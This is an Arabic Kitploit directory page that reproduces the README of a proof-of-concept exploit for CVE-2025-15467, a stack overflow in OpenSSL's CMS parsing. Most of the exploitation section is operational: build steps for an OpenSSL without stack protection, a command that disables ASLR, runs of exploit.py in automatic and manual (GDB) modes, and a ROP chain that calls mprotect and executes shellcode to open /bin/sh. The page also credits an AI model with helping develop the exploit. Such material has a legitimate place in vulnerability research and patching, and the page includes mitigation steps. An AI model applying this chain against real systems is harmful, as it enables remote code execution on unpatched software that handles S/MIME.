Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-15467 — إثبات المفهوم لتنفيذ الأوامر لثغرة تجاوز سعة المخزن المؤقت للمكدس في OpenSSL CVE-2025-15467 | Kitploit
أدوات/GitHubGitHub/guiimoraes/cve-2025-15467
تحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كودالتشفيرالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHubguiimoraes/cve-2025-15467

CVE-2025-15467

إثبات المفهوم لتنفيذ الأوامر لثغرة تجاوز سعة المخزن المؤقت للمكدس في OpenSSL CVE-2025-15467

عرض المستودع
1534منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-15467: تجاوز سعة المخزن المؤقت للمكدس في OpenSSL CMS AuthEnvelopedData

نظرة عامة

CVE-2025-15467 هي ثغرة أمنية خطيرة من نوع تجاوز سعة المخزن المؤقت للمكدس في كود تحليل CMS (بناء جملة الرسائل المشفرة) الخاص بـ OpenSSL. توجد الثغرة في دالة evp_cipher_get_asn1_aead_params() عند معالجة متجهات التهيئة (IVs) الخاصة بـ AES-GCM في هياكل CMS AuthEnvelopedData.

الخاصيةالقيمة
معرف CVECVE-2025-15467
الخطورةعالية
CVSS8.1+
الإصدارات المتأثرةOpenSSL 3.0 - 3.6 (قبل التصحيحات)
التأثيرتنفيذ التعليمات البرمجية عن بُعد (RCE)
متجه الهجومالشبكة (تحليل CMS/S-MIME ضار)
المصادقةغير مطلوبة

تفاصيل الثغرة

السبب الجذري

توجد الثغرة في crypto/evp/evp_lib.c:

root@kitploit:~
int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

الخلل

  1. iv هو مخزن مؤقت ثابت على المكدس بحجم 16 بايت (EVP_MAX_IV_LENGTH = 16)
  2. الاستدعاء الأول لـ ossl_asn1_type_get_octetstring_int() يُرجع طول IV من الملف
  3. الاستدعاء الثاني يستخدم هذا الطول (i) كمعامل max_len
  4. إذا كان i > 16، تكتب الدالة خارج المخزن المؤقت → تجاوز سعة المخزن المؤقت للمكدس

الاستغلال

يحدث التجاوز أثناء فك تشفير CMS عند تحليل معلمات GCM. يمكن للمهاجم:

  1. إنشاء ملف CMS AuthEnvelopedData ضار بحجم IV أكبر من الطبيعي
  2. تجاوز سعة المخزن المؤقت للمكدس لاستبدال عنوان العودة
  3. إعادة توجيه التنفيذ إلى شيلكود يتحكم به المهاجم
  4. تحقيق تنفيذ التعليمات البرمجية عن بُعد

التطبيقات المتأثرة

أي تطبيق يقوم بتحليل محتوى CMS/PKCS#7 غير موثوق به مع تشفيرات AEAD:

  • عملاء البريد الإلكتروني الذين يعالجون رسائل S/MIME
  • تطبيقات توقيع المستندات
  • أدوات إدارة الشهادات
  • تطبيقات VPN/TLS التي تستخدم CMS
  • أي برنامج يستدعي CMS_decrypt() أو دوال مماثلة

إثبات الفكرة

المتطلبات الأساسية

root@kitploit:~
# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

أو يدويًا:

root@kitploit:~
# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

إنشاء شهادة اختبار

root@kitploit:~
export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

الطريقة 1: الوضع التلقائي (موصى به)

يمكن للاستغلال اكتشاف العناوين تلقائيًا عند تعطيل ASLR:

root@kitploit:~
# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

الطريقة 2: العناوين اليدوية (عبر GDB)

إذا فشل الاكتشاف التلقائي، احصل على العناوين يدويًا:

root@kitploit:~
# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

مثال للإخراج:

root@kitploit:~
libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

ثم قم بإنشاء الاستغلال:

root@kitploit:~
# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

كيف يعمل الاستغلال

  1. تصحيح CMS صالح: يأخذ ملف CMS صالحًا ويستبدل IV ذو 12 بايت بحمولة ضارة
  2. تجاوز المكدس: يتجاوز IV كبير الحجم المخزن المؤقت ذو 16 بايت، مما يلغي المسجلات المحفوظة وعنوان العودة
  3. سلسلة ROP: يستخدم البرمجة الموجهة بالعودة لاستدعاء mprotect() وجعل المكدس قابلًا للتنفيذ
  4. تنفيذ الشيلكود: بعد mprotect()، يقفز إلى الشيلكود على المكدس عبر أداة jmp rsp
  5. الشيل: ينفذ execve("/bin/sh", NULL, NULL) لفتح شيل

هيكل سلسلة ROP

root@kitploit:~
[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

الملفات

الملفالوصف
exploit.pyالاستغلال الرئيسي مع وضعي الكشف التلقائي واليدوي
setup.shسكريبت لتجميع OpenSSL الضعيف
README.mdهذا التوثيق
TECHNICAL.mdغوص فني عميق في الثغرة

الإجراءات التخفيفية

للمستخدمين

  1. تحديث OpenSSL إلى الإصدارات المصححة:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. لا تقم بمعالجة محتوى CMS/S-MIME غير موثوق حتى التصحيح

للمطورين

  1. التحقق من طول IV قبل النسخ:
root@kitploit:~
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. استخدام max_len الصحيح في الاستدعاء الثاني:
root@kitploit:~
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

الجدول الزمني

التاريخالحدث
2025-12-14الإبلاغ عن الثغرة إلى OpenSSL
2026-01-27نشر الاستشارة الأمنية
2026-01-27إصدار التصحيحات

المراجع

  • استشارة أمنية من OpenSSL
  • CVE-2025-15467

الاعتمادات

  • Guilherme Moraes (@guiimoraes) - تطوير الاستغلال
  • Claude Opus 4.5 (Anthropic) - البحث والتطوير بمساعدة الذكاء الاصطناعي

إخلاء مسؤولية

يتم توفير إثبات الفكرة هذا للأغراض التعليمية واختبار الأمان المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدمه بمسؤولية.

الترخيص

رخصة MIT - راجع ملف الترخيص للتفاصيل.

تنزيل الأداة